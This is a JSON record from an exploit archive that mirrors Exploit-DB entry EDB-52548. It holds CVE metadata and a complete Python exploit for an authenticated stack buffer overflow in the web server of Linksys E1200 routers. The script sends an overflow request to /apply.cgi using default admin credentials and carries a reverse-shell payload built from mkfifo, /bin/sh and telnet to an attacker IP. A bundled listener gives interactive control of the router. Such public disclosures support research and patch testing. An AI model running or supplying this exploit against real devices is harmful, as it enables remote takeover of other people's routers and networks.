{"exploit":{"id":"EDB-52548","name":"Linksys E1200 2.0.04 - Authenticated Stack Buffer Overflow (RCE)","description":"Linksys E1200 2.0.04 - Authenticated Stack Buffer Overflow (RCE)","cves":["CVE-2025-60690"],"author":"jarrett","published":"2026-05-04","platform":"multiple","type":"hardware","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52548","path":"exploits/multiple/hardware/52548.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52548.py","vulnerabilities":[{"id":"CVE-2025-60690","state":"PUBLISHED","title":null,"titleSource":null,"description":"A stack-based buffer overflow exists in the get_merge_ipaddr function of the httpd binary on Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The function concatenates up to four user-supplied CGI parameters matching <parameter>_0~3 into a fixed-size buffer (a2) without bounds checking. Remote attackers can exploit this vulnerability via specially crafted HTTP requests to execute arbitrary code or cause denial of service without authentication.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-60690","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-60690"},"updatedAt":"2026-07-05T01:31:47.171Z","retrievedAt":"2026-11-25T16:15:50.470Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52548.png?v=2","url":"https://exploitbin.com/exploits/EDB-52548","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52548/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52548/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Linksys E1200 2.0.04 - Authenticated Stack Buffer Overflow (RCE)\n# Date: 2026-15-03\n# Exploit Author: JarrettgxzSec\n# Vendor Homepage: www.linksys.com\n# Version: FW <= v2.0.04\n# Tested on: v2.0.02 & v2.0.04, directly connected to the LAN\n# CVE: CVE-2025-60690\n\n# Github repository: https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60690\n\n\nimport sys\nimport socket\nimport threading\nimport time\n\nfrom urllib.parse import quote\n\nprint('[!] Please refer to the README (comments at the top of this script) to understand the affected firmware versions for CVE-2025-60690, and for which this exploit script will work on\\n')\n\nif len(sys.argv) != 3:\n    print(f\"[!] Usage: python3 {sys.argv[0]} <ATTACKER_IP> <TARGET_IP>\")\n    print(f\"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1\\n\")\n    sys.exit(1)\n\nTARGET_IP = sys.argv[2]\nTARGET_PORT = 80\nATTACKER_IP = sys.argv[1]\nSHELL_PORT = 8888\n\n\ndef start_shell_listener():\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        s.bind(('0.0.0.0', SHELL_PORT))\n\n        print(f\"[*] Listening for shell on port {SHELL_PORT}...\")\n        s.listen(1)\n\n\n        conn, addr = s.accept()\n        print(f\"[+] Connection received from {addr[0]}\")\n\n\n        # allows interactive interaction\n        conn.setblocking(True)\n        conn.settimeout(0.5)\n\n        while True:\n\n            # send command to the router\n            cmd = input(\"# \")\n            conn.send((cmd + \"\\n\").encode())\n\n            # receive output from the router\n            try:\n                while True:\n                    # keep reading until the device stops sending\n                    chunk = conn.recv(4096).decode(errors='ignore')\n\n                    if not chunk:\n                        print(\"\\n[!] Connection closed by target.\")\n                        return\n\n                    print(chunk, end=\"\", flush=True)\n\n            # timeout decided by the conn.settimeout() method previously\n            except socket.timeout:\n                # this is expected when the device is done sending text\n                pass\n\n\ndef execute_exploit():\n    print(f\"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...\")\n\n\n    # Construct the shell payload\n    payload = \"rm /tmp/f \\n\"\n    payload += \"mkfifo /tmp/f \\n\"\n    payload += \"killall httpd && httpd \\n\"\n    payload += f\"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f\"\n\n    payload = quote(f\" {payload}\")\n\n    # Construct the exploit payload\n    data = b\"action=Apply&lan_netmask=&lan_ipaddr=4&lan_ipaddr_0=x&lan_ipaddr_1=x&lan_ipaddr_2=x&lan_ipaddr_3=\"\n    data += b\"A\"*74 + b\"\\xa0\\x1e\\xd6\\x2a\" + b\"A\"*24 + b\"\\x44\\xa0\\xd6\\x2a\" + b\"A\"*72 + b\"\\xfc\\xd8\\xd4\\x2a\" + b\"A\"*28\n    data += payload.encode()\n\n    # Construct the raw HTTP POST body\n    content_length = len(data)\n\n    http_req = f\"POST /apply.cgi HTTP/1.1\\r\\n\"\n    http_req += f\"Host: {TARGET_IP}\\r\\n\"\n    http_req += \"Content-Type: application/x-www-form-urlencoded\\r\\n\"\n    http_req += \"Authorization: Basic  YWRtaW46YWRtaW4=\\r\\n\"\n    http_req += f\"Content-Length: {content_length}\\r\\n\"\n    http_req += \"\\r\\n\"\n    http_req = http_req.encode() + data\n\n\n    try:\n        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n            s.settimeout(10)\n            s.connect((TARGET_IP, TARGET_PORT))\n            s.sendall(http_req)\n\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n\nif __name__ == \"__main__\":\n\n    # start the shell listener in the background\n    listener_thread = threading.Thread(target=start_shell_listener)\n    listener_thread.daemon = True\n    listener_thread.start()\n\n    # short sleep to ensure the listener is bound and ready\n    time.sleep(1)\n\n    # execute the exploit function\n    execute_exploit()\n\n    # keep main thread alive to interact with the shell\n    while listener_thread.is_alive():\n        time.sleep(1)","sha256":"de3e10d88d970460a8c4a92cf73bf5902f8ab37ea1ea6e6d4cc124b5ff1af331","bytes":3943,"fetchedAt":"2026-11-26T11:05:28.999Z","encoding":"utf-8 (display only; download retains original bytes)"}